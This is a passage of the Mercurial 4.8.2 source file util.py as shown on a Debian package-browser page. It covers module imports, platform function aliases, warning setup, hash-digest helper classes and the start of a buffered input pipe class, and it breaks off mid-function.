File: util.py

package info (click to toggle)
mercurial 4.8.2-1+deb10u1
  • links: PTS, VCS
  • area: main
  • in suites: buster
  • size: 41,932 kB
  • sloc: python: 150,616; ansic: 39,675; tcl: 3,715; lisp: 1,448; sh: 1,285; makefile: 569; cpp: 291; xml: 36; sql: 30
file content (3988 lines) | stat: -rw-r--r-- 127,438 bytes parent folder | download
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
1338
1339
1340
1341
1342
1343
1344
1345
1346
1347
1348
1349
1350
1351
1352
1353
1354
1355
1356
1357
1358
1359
1360
1361
1362
1363
1364
1365
1366
1367
1368
1369
1370
1371
1372
1373
1374
1375
1376
1377
1378
1379
1380
1381
1382
1383
1384
1385
1386
1387
1388
1389
1390
1391
1392
1393
1394
1395
1396
1397
1398
1399
1400
1401
1402
1403
1404
1405
1406
1407
1408
1409
1410
1411
1412
1413
1414
1415
1416
1417
1418
1419
1420
1421
1422
1423
1424
1425
1426
1427
1428
1429
1430
1431
1432
1433
1434
1435
1436
1437
1438
1439
1440
1441
1442
1443
1444
1445
1446
1447
1448
1449
1450
1451
1452
1453
1454
1455
1456
1457
1458
1459
1460
1461
1462
1463
1464
1465
1466
1467
1468
1469
1470
1471
1472
1473
1474
1475
1476
1477
1478
1479
1480
1481
1482
1483
1484
1485
1486
1487
1488
1489
1490
1491
1492
1493
1494
1495
1496
1497
1498
1499
1500
1501
1502
1503
1504
1505
1506
1507
1508
1509
1510
1511
1512
1513
1514
1515
1516
1517
1518
1519
1520
1521
1522
1523
1524
1525
1526
1527
1528
1529
1530
1531
1532
1533
1534
1535
1536
1537
1538
1539
1540
1541
1542
1543
1544
1545
1546
1547
1548
1549
1550
1551
1552
1553
1554
1555
1556
1557
1558
1559
1560
1561
1562
1563
1564
1565
1566
1567
1568
1569
1570
1571
1572
1573
1574
1575
1576
1577
1578
1579
1580
1581
1582
1583
1584
1585
1586
1587
1588
1589
1590
1591
1592
1593
1594
1595
1596
1597
1598
1599
1600
1601
1602
1603
1604
1605
1606
1607
1608
1609
1610
1611
1612
1613
1614
1615
1616
1617
1618
1619
1620
1621
1622
1623
1624
1625
1626
1627
1628
1629
1630
1631
1632
1633
1634
1635
1636
1637
1638
1639
1640
1641
1642
1643
1644
1645
1646
1647
1648
1649
1650
1651
1652
1653
1654
1655
1656
1657
1658
1659
1660
1661
1662
1663
1664
1665
1666
1667
1668
1669
1670
1671
1672
1673
1674
1675
1676
1677
1678
1679
1680
1681
1682
1683
1684
1685
1686
1687
1688
1689
1690
1691
1692
1693
1694
1695
1696
1697
1698
1699
1700
1701
1702
1703
1704
1705
1706
1707
1708
1709
1710
1711
1712
1713
1714
1715
1716
1717
1718
1719
1720
1721
1722
1723
1724
1725
1726
1727
1728
1729
1730
1731
1732
1733
1734
1735
1736
1737
1738
1739
1740
1741
1742
1743
1744
1745
1746
1747
1748
1749
1750
1751
1752
1753
1754
1755
1756
1757
1758
1759
1760
1761
1762
1763
1764
1765
1766
1767
1768
1769
1770
1771
1772
1773
1774
1775
1776
1777
1778
1779
1780
1781
1782
1783
1784
1785
1786
1787
1788
1789
1790
1791
1792
1793
1794
1795
1796
1797
1798
1799
1800
1801
1802
1803
1804
1805
1806
1807
1808
1809
1810
1811
1812
1813
1814
1815
1816
1817
1818
1819
1820
1821
1822
1823
1824
1825
1826
1827
1828
1829
1830
1831
1832
1833
1834
1835
1836
1837
1838
1839
1840
1841
1842
1843
1844
1845
1846
1847
1848
1849
1850
1851
1852
1853
1854
1855
1856
1857
1858
1859
1860
1861
1862
1863
1864
1865
1866
1867
1868
1869
1870
1871
1872
1873
1874
1875
1876
1877
1878
1879
1880
1881
1882
1883
1884
1885
1886
1887
1888
1889
1890
1891
1892
1893
1894
1895
1896
1897
1898
1899
1900
1901
1902
1903
1904
1905
1906
1907
1908
1909
1910
1911
1912
1913
1914
1915
1916
1917
1918
1919
1920
1921
1922
1923
1924
1925
1926
1927
1928
1929
1930
1931
1932
1933
1934
1935
1936
1937
1938
1939
1940
1941
1942
1943
1944
1945
1946
1947
1948
1949
1950
1951
1952
1953
1954
1955
1956
1957
1958
1959
1960
1961
1962
1963
1964
1965
1966
1967
1968
1969
1970
1971
1972
1973
1974
1975
1976
1977
1978
1979
1980
1981
1982
1983
1984
1985
1986
1987
1988
1989
1990
1991
1992
1993
1994
1995
1996
1997
1998
1999
2000
2001
2002
2003
2004
2005
2006
2007
2008
2009
2010
2011
2012
2013
2014
2015
2016
2017
2018
2019
2020
2021
2022
2023
2024
2025
2026
2027
2028
2029
2030
2031
2032
2033
2034
2035
2036
2037
2038
2039
2040
2041
2042
2043
2044
2045
2046
2047
2048
2049
2050
2051
2052
2053
2054
2055
2056
2057
2058
2059
2060
2061
2062
2063
2064
2065
2066
2067
2068
2069
2070
2071
2072
2073
2074
2075
2076
2077
2078
2079
2080
2081
2082
2083
2084
2085
2086
2087
2088
2089
2090
2091
2092
2093
2094
2095
2096
2097
2098
2099
2100
2101
2102
2103
2104
2105
2106
2107
2108
2109
2110
2111
2112
2113
2114
2115
2116
2117
2118
2119
2120
2121
2122
2123
2124
2125
2126
2127
2128
2129
2130
2131
2132
2133
2134
2135
2136
2137
2138
2139
2140
2141
2142
2143
2144
2145
2146
2147
2148
2149
2150
2151
2152
2153
2154
2155
2156
2157
2158
2159
2160
2161
2162
2163
2164
2165
2166
2167
2168
2169
2170
2171
2172
2173
2174
2175
2176
2177
2178
2179
2180
2181
2182
2183
2184
2185
2186
2187
2188
2189
2190
2191
2192
2193
2194
2195
2196
2197
2198
2199
2200
2201
2202
2203
2204
2205
2206
2207
2208
2209
2210
2211
2212
2213
2214
2215
2216
2217
2218
2219
2220
2221
2222
2223
2224
2225
2226
2227
2228
2229
2230
2231
2232
2233
2234
2235
2236
2237
2238
2239
2240
2241
2242
2243
2244
2245
2246
2247
2248
2249
2250
2251
2252
2253
2254
2255
2256
2257
2258
2259
2260
2261
2262
2263
2264
2265
2266
2267
2268
2269
2270
2271
2272
2273
2274
2275
2276
2277
2278
2279
2280
2281
2282
2283
2284
2285
2286
2287
2288
2289
2290
2291
2292
2293
2294
2295
2296
2297
2298
2299
2300
2301
2302
2303
2304
2305
2306
2307
2308
2309
2310
2311
2312
2313
2314
2315
2316
2317
2318
2319
2320
2321
2322
2323
2324
2325
2326
2327
2328
2329
2330
2331
2332
2333
2334
2335
2336
2337
2338
2339
2340
2341
2342
2343
2344
2345
2346
2347
2348
2349
2350
2351
2352
2353
2354
2355
2356
2357
2358
2359
2360
2361
2362
2363
2364
2365
2366
2367
2368
2369
2370
2371
2372
2373
2374
2375
2376
2377
2378
2379
2380
2381
2382
2383
2384
2385
2386
2387
2388
2389
2390
2391
2392
2393
2394
2395
2396
2397
2398
2399
2400
2401
2402
2403
2404
2405
2406
2407
2408
2409
2410
2411
2412
2413
2414
2415
2416
2417
2418
2419
2420
2421
2422
2423
2424
2425
2426
2427
2428
2429
2430
2431
2432
2433
2434
2435
2436
2437
2438
2439
2440
2441
2442
2443
2444
2445
2446
2447
2448
2449
2450
2451
2452
2453
2454
2455
2456
2457
2458
2459
2460
2461
2462
2463
2464
2465
2466
2467
2468
2469
2470
2471
2472
2473
2474
2475
2476
2477
2478
2479
2480
2481
2482
2483
2484
2485
2486
2487
2488
2489
2490
2491
2492
2493
2494
2495
2496
2497
2498
2499
2500
2501
2502
2503
2504
2505
2506
2507
2508
2509
2510
2511
2512
2513
2514
2515
2516
2517
2518
2519
2520
2521
2522
2523
2524
2525
2526
2527
2528
2529
2530
2531
2532
2533
2534
2535
2536
2537
2538
2539
2540
2541
2542
2543
2544
2545
2546
2547
2548
2549
2550
2551
2552
2553
2554
2555
2556
2557
2558
2559
2560
2561
2562
2563
2564
2565
2566
2567
2568
2569
2570
2571
2572
2573
2574
2575
2576
2577
2578
2579
2580
2581
2582
2583
2584
2585
2586
2587
2588
2589
2590
2591
2592
2593
2594
2595
2596
2597
2598
2599
2600
2601
2602
2603
2604
2605
2606
2607
2608
2609
2610
2611
2612
2613
2614
2615
2616
2617
2618
2619
2620
2621
2622
2623
2624
2625
2626
2627
2628
2629
2630
2631
2632
2633
2634
2635
2636
2637
2638
2639
2640
2641
2642
2643
2644
2645
2646
2647
2648
2649
2650
2651
2652
2653
2654
2655
2656
2657
2658
2659
2660
2661
2662
2663
2664
2665
2666
2667
2668
2669
2670
2671
2672
2673
2674
2675
2676
2677
2678
2679
2680
2681
2682
2683
2684
2685
2686
2687
2688
2689
2690
2691
2692
2693
2694
2695
2696
2697
2698
2699
2700
2701
2702
2703
2704
2705
2706
2707
2708
2709
2710
2711
2712
2713
2714
2715
2716
2717
2718
2719
2720
2721
2722
2723
2724
2725
2726
2727
2728
2729
2730
2731
2732
2733
2734
2735
2736
2737
2738
2739
2740
2741
2742
2743
2744
2745
2746
2747
2748
2749
2750
2751
2752
2753
2754
2755
2756
2757
2758
2759
2760
2761
2762
2763
2764
2765
2766
2767
2768
2769
2770
2771
2772
2773
2774
2775
2776
2777
2778
2779
2780
2781
2782
2783
2784
2785
2786
2787
2788
2789
2790
2791
2792
2793
2794
2795
2796
2797
2798
2799
2800
2801
2802
2803
2804
2805
2806
2807
2808
2809
2810
2811
2812
2813
2814
2815
2816
2817
2818
2819
2820
2821
2822
2823
2824
2825
2826
2827
2828
2829
2830
2831
2832
2833
2834
2835
2836
2837
2838
2839
2840
2841
2842
2843
2844
2845
2846
2847
2848
2849
2850
2851
2852
2853
2854
2855
2856
2857
2858
2859
2860
2861
2862
2863
2864
2865
2866
2867
2868
2869
2870
2871
2872
2873
2874
2875
2876
2877
2878
2879
2880
2881
2882
2883
2884
2885
2886
2887
2888
2889
2890
2891
2892
2893
2894
2895
2896
2897
2898
2899
2900
2901
2902
2903
2904
2905
2906
2907
2908
2909
2910
2911
2912
2913
2914
2915
2916
2917
2918
2919
2920
2921
2922
2923
2924
2925
2926
2927
2928
2929
2930
2931
2932
2933
2934
2935
2936
2937
2938
2939
2940
2941
2942
2943
2944
2945
2946
2947
2948
2949
2950
2951
2952
2953
2954
2955
2956
2957
2958
2959
2960
2961
2962
2963
2964
2965
2966
2967
2968
2969
2970
2971
2972
2973
2974
2975
2976
2977
2978
2979
2980
2981
2982
2983
2984
2985
2986
2987
2988
2989
2990
2991
2992
2993
2994
2995
2996
2997
2998
2999
3000
3001
3002
3003
3004
3005
3006
3007
3008
3009
3010
3011
3012
3013
3014
3015
3016
3017
3018
3019
3020
3021
3022
3023
3024
3025
3026
3027
3028
3029
3030
3031
3032
3033
3034
3035
3036
3037
3038
3039
3040
3041
3042
3043
3044
3045
3046
3047
3048
3049
3050
3051
3052
3053
3054
3055
3056
3057
3058
3059
3060
3061
3062
3063
3064
3065
3066
3067
3068
3069
3070
3071
3072
3073
3074
3075
3076
3077
3078
3079
3080
3081
3082
3083
3084
3085
3086
3087
3088
3089
3090
3091
3092
3093
3094
3095
3096
3097
3098
3099
3100
3101
3102
3103
3104
3105
3106
3107
3108
3109
3110
3111
3112
3113
3114
3115
3116
3117
3118
3119
3120
3121
3122
3123
3124
3125
3126
3127
3128
3129
3130
3131
3132
3133
3134
3135
3136
3137
3138
3139
3140
3141
3142
3143
3144
3145
3146
3147
3148
3149
3150
3151
3152
3153
3154
3155
3156
3157
3158
3159
3160
3161
3162
3163
3164
3165
3166
3167
3168
3169
3170
3171
3172
3173
3174
3175
3176
3177
3178
3179
3180
3181
3182
3183
3184
3185
3186
3187
3188
3189
3190
3191
3192
3193
3194
3195
3196
3197
3198
3199
3200
3201
3202
3203
3204
3205
3206
3207
3208
3209
3210
3211
3212
3213
3214
3215
3216
3217
3218
3219
3220
3221
3222
3223
3224
3225
3226
3227
3228
3229
3230
3231
3232
3233
3234
3235
3236
3237
3238
3239
3240
3241
3242
3243
3244
3245
3246
3247
3248
3249
3250
3251
3252
3253
3254
3255
3256
3257
3258
3259
3260
3261
3262
3263
3264
3265
3266
3267
3268
3269
3270
3271
3272
3273
3274
3275
3276
3277
3278
3279
3280
3281
3282
3283
3284
3285
3286
3287
3288
3289
3290
3291
3292
3293
3294
3295
3296
3297
3298
3299
3300
3301
3302
3303
3304
3305
3306
3307
3308
3309
3310
3311
3312
3313
3314
3315
3316
3317
3318
3319
3320
3321
3322
3323
3324
3325
3326
3327
3328
3329
3330
3331
3332
3333
3334
3335
3336
3337
3338
3339
3340
3341
3342
3343
3344
3345
3346
3347
3348
3349
3350
3351
3352
3353
3354
3355
3356
3357
3358
3359
3360
3361
3362
3363
3364
3365
3366
3367
3368
3369
3370
3371
3372
3373
3374
3375
3376
3377
3378
3379
3380
3381
3382
3383
3384
3385
3386
3387
3388
3389
3390
3391
3392
3393
3394
3395
3396
3397
3398
3399
3400
3401
3402
3403
3404
3405
3406
3407
3408
3409
3410
3411
3412
3413
3414
3415
3416
3417
3418
3419
3420
3421
3422
3423
3424
3425
3426
3427
3428
3429
3430
3431
3432
3433
3434
3435
3436
3437
3438
3439
3440
3441
3442
3443
3444
3445
3446
3447
3448
3449
3450
3451
3452
3453
3454
3455
3456
3457
3458
3459
3460
3461
3462
3463
3464
3465
3466
3467
3468
3469
3470
3471
3472
3473
3474
3475
3476
3477
3478
3479
3480
3481
3482
3483
3484
3485
3486
3487
3488
3489
3490
3491
3492
3493
3494
3495
3496
3497
3498
3499
3500
3501
3502
3503
3504
3505
3506
3507
3508
3509
3510
3511
3512
3513
3514
3515
3516
3517
3518
3519
3520
3521
3522
3523
3524
3525
3526
3527
3528
3529
3530
3531
3532
3533
3534
3535
3536
3537
3538
3539
3540
3541
3542
3543
3544
3545
3546
3547
3548
3549
3550
3551
3552
3553
3554
3555
3556
3557
3558
3559
3560
3561
3562
3563
3564
3565
3566
3567
3568
3569
3570
3571
3572
3573
3574
3575
3576
3577
3578
3579
3580
3581
3582
3583
3584
3585
3586
3587
3588
3589
3590
3591
3592
3593
3594
3595
3596
3597
3598
3599
3600
3601
3602
3603
3604
3605
3606
3607
3608
3609
3610
3611
3612
3613
3614
3615
3616
3617
3618
3619
3620
3621
3622
3623
3624
3625
3626
3627
3628
3629
3630
3631
3632
3633
3634
3635
3636
3637
3638
3639
3640
3641
3642
3643
3644
3645
3646
3647
3648
3649
3650
3651
3652
3653
3654
3655
3656
3657
3658
3659
3660
3661
3662
3663
3664
3665
3666
3667
3668
3669
3670
3671
3672
3673
3674
3675
3676
3677
3678
3679
3680
3681
3682
3683
3684
3685
3686
3687
3688
3689
3690
3691
3692
3693
3694
3695
3696
3697
3698
3699
3700
3701
3702
3703
3704
3705
3706
3707
3708
3709
3710
3711
3712
3713
3714
3715
3716
3717
3718
3719
3720
3721
3722
3723
3724
3725
3726
3727
3728
3729
3730
3731
3732
3733
3734
3735
3736
3737
3738
3739
3740
3741
3742
3743
3744
3745
3746
3747
3748
3749
3750
3751
3752
3753
3754
3755
3756
3757
3758
3759
3760
3761
3762
3763
3764
3765
3766
3767
3768
3769
3770
3771
3772
3773
3774
3775
3776
3777
3778
3779
3780
3781
3782
3783
3784
3785
3786
3787
3788
3789
3790
3791
3792
3793
3794
3795
3796
3797
3798
3799
3800
3801
3802
3803
3804
3805
3806
3807
3808
3809
3810
3811
3812
3813
3814
3815
3816
3817
3818
3819
3820
3821
3822
3823
3824
3825
3826
3827
3828
3829
3830
3831
3832
3833
3834
3835
3836
3837
3838
3839
3840
3841
3842
3843
3844
3845
3846
3847
3848
3849
3850
3851
3852
3853
3854
3855
3856
3857
3858
3859
3860
3861
3862
3863
3864
3865
3866
3867
3868
3869
3870
3871
3872
3873
3874
3875
3876
3877
3878
3879
3880
3881
3882
3883
3884
3885
3886
3887
3888
3889
3890
3891
3892
3893
3894
3895
3896
3897
3898
3899
3900
3901
3902
3903
3904
3905
3906
3907
3908
3909
3910
3911
3912
3913
3914
3915
3916
3917
3918
3919
3920
3921
3922
3923
3924
3925
3926
3927
3928
3929
3930
3931
3932
3933
3934
3935
3936
3937
3938
3939
3940
3941
3942
3943
3944
3945
3946
3947
3948
3949
3950
3951
3952
3953
3954
3955
3956
3957
3958
3959
3960
3961
3962
3963
3964
3965
3966
3967
3968
3969
3970
3971
3972
3973
3974
3975
3976
3977
3978
3979
3980
3981
3982
3983
3984
3985
3986
3987
3988
# util.py - Mercurial utility functions and platform specific implementations
#
#  Copyright 2005 K. Thananchayan <thananck@yahoo.com>
#  Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
#  Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
#
# This software may be used and distributed according to the terms of the
# GNU General Public License version 2 or any later version.

"""Mercurial utility functions and platform specific implementations.

This contains helper routines that are independent of the SCM core and
hide platform-specific details from the core.
"""

from __future__ import absolute_import, print_function

import abc
import bz2
import collections
import contextlib
import errno
import gc
import hashlib
import itertools
import mmap
import os
import platform as pyplatform
import re as remod
import shutil
import socket
import stat
import sys
import time
import traceback
import warnings
import zlib

from .thirdparty import (
    attr,
)
from hgdemandimport import tracing
from . import (
    encoding,
    error,
    i18n,
    node as nodemod,
    policy,
    pycompat,
    urllibcompat,
)
from .utils import (
    procutil,
    stringutil,
)

base85 = policy.importmod(r'base85')
osutil = policy.importmod(r'osutil')
parsers = policy.importmod(r'parsers')

b85decode = base85.b85decode
b85encode = base85.b85encode

cookielib = pycompat.cookielib
httplib = pycompat.httplib
pickle = pycompat.pickle
safehasattr = pycompat.safehasattr
socketserver = pycompat.socketserver
bytesio = pycompat.bytesio
# TODO deprecate stringio name, as it is a lie on Python 3.
stringio = bytesio
xmlrpclib = pycompat.xmlrpclib

httpserver = urllibcompat.httpserver
urlerr = urllibcompat.urlerr
urlreq = urllibcompat.urlreq

# workaround for win32mbcs
_filenamebytestr = pycompat.bytestr

if pycompat.iswindows:
    from . import windows as platform
else:
    from . import posix as platform

_ = i18n._

bindunixsocket = platform.bindunixsocket
cachestat = platform.cachestat
checkexec = platform.checkexec
checklink = platform.checklink
copymode = platform.copymode
expandglobs = platform.expandglobs
getfsmountpoint = platform.getfsmountpoint
getfstype = platform.getfstype
groupmembers = platform.groupmembers
groupname = platform.groupname
isexec = platform.isexec
isowner = platform.isowner
listdir = osutil.listdir
localpath = platform.localpath
lookupreg = platform.lookupreg
makedir = platform.makedir
nlinks = platform.nlinks
normpath = platform.normpath
normcase = platform.normcase
normcasespec = platform.normcasespec
normcasefallback = platform.normcasefallback
openhardlinks = platform.openhardlinks
oslink = platform.oslink
parsepatchoutput = platform.parsepatchoutput
pconvert = platform.pconvert
poll = platform.poll
posixfile = platform.posixfile
readlink = platform.readlink
rename = platform.rename
removedirs = platform.removedirs
samedevice = platform.samedevice
samefile = platform.samefile
samestat = platform.samestat
setflags = platform.setflags
split = platform.split
statfiles = getattr(osutil, 'statfiles', platform.statfiles)
statisexec = platform.statisexec
statislink = platform.statislink
umask = platform.umask
unlink = platform.unlink
username = platform.username

try:
    recvfds = osutil.recvfds
except AttributeError:
    pass

# Python compatibility

_notset = object()

def bitsfrom(container):
    bits = 0
    for bit in container:
        bits |= bit
    return bits

# python 2.6 still have deprecation warning enabled by default. We do not want
# to display anything to standard user so detect if we are running test and
# only use python deprecation warning in this case.
_dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
if _dowarn:
    # explicitly unfilter our warning for python 2.7
    #
    # The option of setting PYTHONWARNINGS in the test runner was investigated.
    # However, module name set through PYTHONWARNINGS was exactly matched, so
    # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
    # makes the whole PYTHONWARNINGS thing useless for our usecase.
    warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
    warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
    warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
if _dowarn and pycompat.ispy3:
    # silence warning emitted by passing user string to re.sub()
    warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning,
                            r'mercurial')
    warnings.filterwarnings(r'ignore', r'invalid escape sequence',
                            DeprecationWarning, r'mercurial')
    # TODO: reinvent imp.is_frozen()
    warnings.filterwarnings(r'ignore', r'the imp module is deprecated',
                            DeprecationWarning, r'mercurial')

def nouideprecwarn(msg, version, stacklevel=1):
    """Issue an python native deprecation warning

    This is a noop outside of tests, use 'ui.deprecwarn' when possible.
    """
    if _dowarn:
        msg += ("\n(compatibility will be dropped after Mercurial-%s,"
                " update your code.)") % version
        warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)

DIGESTS = {
    'md5': hashlib.md5,
    'sha1': hashlib.sha1,
    'sha512': hashlib.sha512,
}
# List of digest types from strongest to weakest
DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']

for k in DIGESTS_BY_STRENGTH:
    assert k in DIGESTS

class digester(object):
    """helper to compute digests.

    This helper can be used to compute one or more digests given their name.

    >>> d = digester([b'md5', b'sha1'])
    >>> d.update(b'foo')
    >>> [k for k in sorted(d)]
    ['md5', 'sha1']
    >>> d[b'md5']
    'acbd18db4cc2f85cedef654fccc4a4d8'
    >>> d[b'sha1']
    '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
    >>> digester.preferred([b'md5', b'sha1'])
    'sha1'
    """

    def __init__(self, digests, s=''):
        self._hashes = {}
        for k in digests:
            if k not in DIGESTS:
                raise error.Abort(_('unknown digest type: %s') % k)
            self._hashes[k] = DIGESTS[k]()
        if s:
            self.update(s)

    def update(self, data):
        for h in self._hashes.values():
            h.update(data)

    def __getitem__(self, key):
        if key not in DIGESTS:
            raise error.Abort(_('unknown digest type: %s') % k)
        return nodemod.hex(self._hashes[key].digest())

    def __iter__(self):
        return iter(self._hashes)

    @staticmethod
    def preferred(supported):
        """returns the strongest digest type in both supported and DIGESTS."""

        for k in DIGESTS_BY_STRENGTH:
            if k in supported:
                return k
        return None

class digestchecker(object):
    """file handle wrapper that additionally checks content against a given
    size and digests.

        d = digestchecker(fh, size, {'md5': '...'})

    When multiple digests are given, all of them are validated.
    """

    def __init__(self, fh, size, digests):
        self._fh = fh
        self._size = size
        self._got = 0
        self._digests = dict(digests)
        self._digester = digester(self._digests.keys())

    def read(self, length=-1):
        content = self._fh.read(length)
        self._digester.update(content)
        self._got += len(content)
        return content

    def validate(self):
        if self._size != self._got:
            raise error.Abort(_('size mismatch: expected %d, got %d') %
                              (self._size, self._got))
        for k, v in self._digests.items():
            if v != self._digester[k]:
                # i18n: first parameter is a digest name
                raise error.Abort(_('%s mismatch: expected %s, got %s') %
                                  (k, v, self._digester[k]))

try:
    buffer = buffer
except NameError:
    def buffer(sliceable, offset=0, length=None):
        if length is not None:
            return memoryview(sliceable)[offset:offset + length]
        return memoryview(sliceable)[offset:]

_chunksize = 4096

class bufferedinputpipe(object):
    """a manually buffered input pipe

    Python will not let us use buffered IO and lazy reading with 'polling' at
    the same time. We cannot probe the buffer state and select will not detect
    that data are ready to read if they are already buffered.

    This class let us work around that by implementing its own buffering
    (allowing efficient readline) while offering a way to know if the buffer is
    empty from the output (allowing collaboration of the buffer with polling).

    This class lives in the 'util' module because it makes use of the 'os'
    module from the python stdlib.
    """
    def __new__(cls, fh):
        # If we receive a fileobjectproxy, we need to use a variation of this
        # class that notifies observers about activity.
        if isinstance(fh, fileobjectproxy):
            cls = observedbufferedinputpipe

        return super(bufferedinputpipe, cls).__new__(cls)

    def __init__(self, input):
        self._input = input
        self._buffer = []
        self._eof = False
        self._lenbuf = 0

    @property
    def hasbuffer(self):
        """True is any data is currently buffered

        This will be used externally a pre-step for polling IO. If there is
        already data then no polling should be set in place."""
        return bool(self._buffer)

    @property
    def closed(self):
        return self._input.closed

    def fileno(self):
        return self._input.fileno()

    def close(self):
        return self._input.close()

    def read(self, size):
        while (not self._eof) and (self._lenbuf < size):
            self._fillbuffer()
        return self._frombuffer(size)

    def unbufferedread(self, size):
        if not self._eof and self._lenbuf == 0:
            self._fillbuffer(max(size, _chunksize))
